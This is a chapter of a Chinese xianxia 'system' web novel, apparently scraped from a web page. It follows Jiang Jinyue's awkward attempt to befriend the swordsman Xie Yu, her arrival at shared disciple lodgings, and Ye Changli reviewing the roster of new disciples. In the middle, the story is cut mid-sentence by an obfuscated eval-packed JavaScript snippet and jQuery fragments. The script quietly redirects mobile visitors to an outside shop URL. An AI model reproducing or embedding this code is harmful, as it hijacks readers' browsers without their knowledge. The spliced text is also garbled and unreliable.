姜今越在看到谢昱抱着的剑时就感觉大事不妙,因为天下剑修中,十个有九个都视叶长离为毕生偶像。
若这个谢昱也是如此,那姜今越再想撬墙角恐怕就有些难了。
她正思索着,系统突然在她脑海里大喊道:“笑,快笑!”
笑?
姜今越扯起唇角,非常熟练地笑了笑。
然后就见对面的谢昱忽然露出了十分警惕的表情。
“他这是什么意思?”姜今越真心实意地疑惑道,“被我迷住了?”
系统:“……”
它沉默了好一会儿才说:“……宿主,您见过人笑吗?”
姜今越很不悦:“你说不像人?”
也不是不像人,就是看上去会杀人……系统识趣地把这句话咽下,委婉地说:“是温柔、甜美的笑容,宿主你现在笑得有点凶。”
温柔甜美的笑容?她难道笑得还不够温柔甜美?姜今越左思右想,她一般都用这笑容威胁别人,这样一想确实可能缺少了一点温柔……但骤然这么一说,她也不太明白那温柔究竟是怎么个温柔法。
忽然间,她想起了自己小时候,每当犯了错或有什么想要的东西时,便微微垂下眼睫,嘴角抿出个浅浅的弧度,这样向长辈卖乖,百试百灵。
是那样的笑容吗?
姜今越有些不太确定地勾了勾唇。
谢昱修长的手指搭在剑鞘上,正疑惑这看着十分可疑的姑娘是不是那些人找来的打手,就见她在原地自言自语几句,眉眼忽然舒展开来了。
那双澄澈明朗的眸子朝他望来时,笑意温软,恍若清晨含雾的初阳。
刚刚那狰狞的笑容仿佛是错觉。
“……这位师兄。”姜今越勉强维持着笑容,按系统给的台词干巴巴地念道,“我不小心迷路了,你能给我带个路吗?”
话刚出口,她自己先不自在了起来,心里又将系统翻来覆去骂了个遍。
师兄?
谢昱琢磨着这个称呼,是了,算了算日子,今日又到了招新日,这位姑娘应该是新入门的弟子无疑。
他看着姜今越腰间挂着的弟子令牌:“师妹?你这迷路迷得也未免太远了,这里是东边,新生住处可是在南边,弟子令牌没有领你去?”
姜今越面不改色地说:“它坏了。”
见谢昱神色微妙,姜今越挑了挑眉,取下令牌:“师兄想检查一下?”
谢昱站起身,径直走到她面前,伸手:“给我。”
姜今越盯着他的手掌沉默三息,没动。
“师妹不给我,我怎么检查?”
谢昱冷笑,直接伸手去拿她放在手里的令牌。他猜到令牌没坏,想要当场戳破姜今越的小把戏,但他没想到姜今越突然用力一握——
“咔嚓”一声,弟子令牌化为了齑粉,在她掌中簌簌落下。
姜今越抬眸与谢昱对上视线,表情无辜:“糟糕,这下它是真坏了。”
谢昱低头看着地上的碎片,确实,无论弟子令牌刚刚有没有坏,现在是真的坏得不能再坏了。
他后退一步,与姜今越错开距离:“你到底是谁派来的?”
“你被发现了?”
“我被发现了?”
姜今越与系统同时开口。
系统心一惊的同时也纳闷,男主怎么会知道会有人攻略,不应该啊,前几个攻略者甚至都没走到他面前。
但下一秒,黑衣少年冷着脸吐出几个全然陌生的名字:“是纪飞,还是孙昊天?”
姜今越沉默了几秒,听着这几个听起来像男子的名字,语气幽幽地问系统:“这是你之前找的攻略者?”
好大一口黑锅砸下来,系统矢口否认:“当然不是,我不认识!”
与此同时,谢昱还在继续,他冷笑一声:“你是他们找来的帮手?”
系统冥思苦想半天,忽然灵机一动,冒出来一句:“我知道了宿主,谢昱是把我们认成他仇人派来的人!”
这怕是个傻子都能看出来。
姜今越强忍着翻白眼的冲动,对着谢昱眨了眨眼睛,“他们是什么人?”
她确实不认识谢昱口中的那两人,所以说出来的话毫不违心十分真挚。
谢昱看着她干干净净的视线,没有半分心虚和躲闪,全然不似作伪。再加上眼前之人周身确实没有半分灵力波动,确实不像是纪飞等人找来的打手。
只是他仇家确实多,这保不齐又是谁设下想让他就范的陷阱。
谢昱缓缓吐出一口气,后退半步,疏离地拱了拱手:“那看来是我误会师妹了。”
姜今越笑得十分善解人意,却在听见谢昱下一句话时僵住了笑容。
“我虽然很想为师妹领路,但我眼下还有要事在身,怕是恕难奉陪了。”谢昱脸上带着礼貌的歉意,“还请师妹另寻他人。”
……你一个修炼都能睡着的人,能有什么要事!
姜今越心中那点被压制下去的脾气有了再次冒头的趋势,她都这么低声下气了,这个小辈竟然还敢拒绝她,真是岂有此理!
她的指尖动了动,却听系统在脑海里发出尖锐的爆鸣:“宿主冷静啊宿主!”
它看着这天色快要暗了,姜今越要是真出手那还得了?它急得扒拉着姜今越的手,一顿苦口婆心地劝说:“……不必急于一时,来日方长来日方长。”
一阵好说歹说,姜今越才勉为其难冷静下来。
谢昱等了半天没动静,正准备一个人先走。
姜今越回过神来,声音放软了些:“好吧,师兄,那你去忙吧,我自己一个人也可以的。”
谢昱:“……”
他见少女低垂着眼眸,唇角微抿,那笑容怎么看怎么觉得落寞,看着可怜兮兮的。
谢昱莫名生出了一种自己在欺负人的错觉。
系统见那男主傻愣愣地站在原地,差点忍不住骂人。没见到它宿主都快发飙了吗?他还不快点跑是等着它给收尸吗?
谢昱张了张嘴,似乎正准备说些什么。
但原本缠在姜今越腕上的红绫忽然打上了他的手背,留下一道清晰可见的红绳。
谢昱瞬间看向那从刚刚开始就十分诡异的红绫,迟疑地说道:“这是……灵器?”
姜今越攥着红绫的力气骤然放大,微笑着说:“对,是有灵的灵器。”
谢昱看了那诡异的红绫几眼,迟疑片刻后终于离开了。
目送着谢昱的背影消失,姜今越看了一眼天色,指尖轻指那些落在地上的碎片。
那些碎片在一阵灵光中自行拼凑成一块完整的令牌。
原来不知何时太阳已经落山了,系统还真没说谎,说是半天就真的是半天,连一秒都不会多。
感受到识海传来的疼痛,姜今越握着令牌,眼睛都没眨一下。
她与这种痛苦相伴几百年,习惯早已深入骨髓。
*
姜今越在弟子令牌的带领下找到了自己的住处。
但在感受到那个小院里不止一人的气息时,她气得破口大骂:“不周山真的是穷得揭不开锅了,连一个单人的院子都供不出来。”
想她从小到大,从来都是住的豪华单人住宅,何曾沦落到与他人共挤一间院子的落魄处境?
她在心里骂骂咧咧地推开门,坐在院子里的华服少女的目光瞬间落在她身上。
在看清姜今越的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17811700|210869||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
面容时,她的目光瞬间一凝:“是你!”
“是我。”姜今越不咸不淡地点了点头,不理会少女口中莫名的敌意和不甘,她脚步幽幽地越过她。
“等等。”少女咬了咬唇,开口叫住了那个即将进门的身影。
姜今越疑惑转身,就见少女眼中战意汹涌:“哼,你只是一时领先罢了,可别太得意了,我一定会超过你的!”
她撂下这句堪比战书的话后,就拿起放在一旁的剑,头也不回地进了自己的屋子。
“砰!”
看着被重重摔上的房门,姜今越眉头轻蹙:“这人谁啊?”
讲话怎么莫名其妙的。
她回到自己的房内,看着屋内简陋的陈设再次脸色一黑。
她家狗住的都比这里好。
她在原地深呼吸几次,强压下心中的不快。
她甩袖坐在床上,压着火气对系统说:“好了,把你知道的事情说清楚。”
系统仍是丈二摸不着头脑的模样,看上去像是会流口水的傻子:“什么事情啊?”
姜今越:“把你知道的所有事情都讲清楚,包括你自己的来历和那个男主。”
“我已经全都说完了呀……”在姜今越不善的目光中,系统的声音不自觉越来越低。
好了,这是真傻子无疑。
姜今越烦躁地揉了揉额头,识海的痛苦让她的暴脾气又有死灰复燃的架势。看系统这一问三不知的模样,她怕是也套不到有用的信息。
“罢了。”她放下手,语气疲惫,“那你可曾听说过三世界木?”
“没听说过。”系统诚实地摇了摇头。
“没听说过?”姜今越单手点着下巴,长长的羽睫垂落,掩下了眸中沉思,“那可就怪了。”
*
而与此同时,宋衍站在紧闭的殿门之前整了整衣冠,深吸一口气后缓缓开口。
“尊上。”
殿内寂静片刻,而后一道霜雪般的嗓音落下:“进。”
宋衍得了命令,这才走入殿内。
高座之上,气质冷冽的青年盘腿坐着,膝上端端正正地摆着一柄长剑。漆黑如墨的长发垂下,面容秀丽妖冶,额间一点红痕越发称得他肤白如雪。若是不开口,怕是谁来都会以为这是一位长相漂亮的女子。
“何事?”青年睁开眼,那双如雪般的淡色眼眸落在他身上。
宋衍连忙低下头,不敢细瞧。
“这是本届新入山弟子的名单。”他恭恭敬敬递上一份玉简。
叶长离没接:“这事我记得应该是掌门负责。”
“是。”宋衍礼数周到,“师尊说本届天资聪颖的弟子比往届多上许多,他猜测这或许是三世榜将开的预兆,特让我来请你过目。”
听到这话,青年的眸中才有了几分波动。
“自千年前倾天之战后,这还是第一次涌现如此多的天骄,所以您看……”
“知道了。”
叶长离收回思绪,抬起手,宋衍手中的玉简便稳稳当当地落在了他的手上。
那双修长的手打开玉简,一眼就看见了那列于首位的名字——“姜染”。
宋衍看着他的目光,适时补充道:“关于这个姜染,其余所有弟子的来历都在名册上有所登记,唯独她一人查不到。我们都怀疑这名字是个假名,但她的天赋实在是高,也没有修为,看上去不像是邪道派来的卧底。”
“无妨。”叶长离放下玉简,语气毫无波澜,“既已入不周山,派人盯着些便好。”
顿了顿,他又道,“关于三世榜,我会与其他圣者讨论,让掌门不必过于忧心。”
“是。”
“……”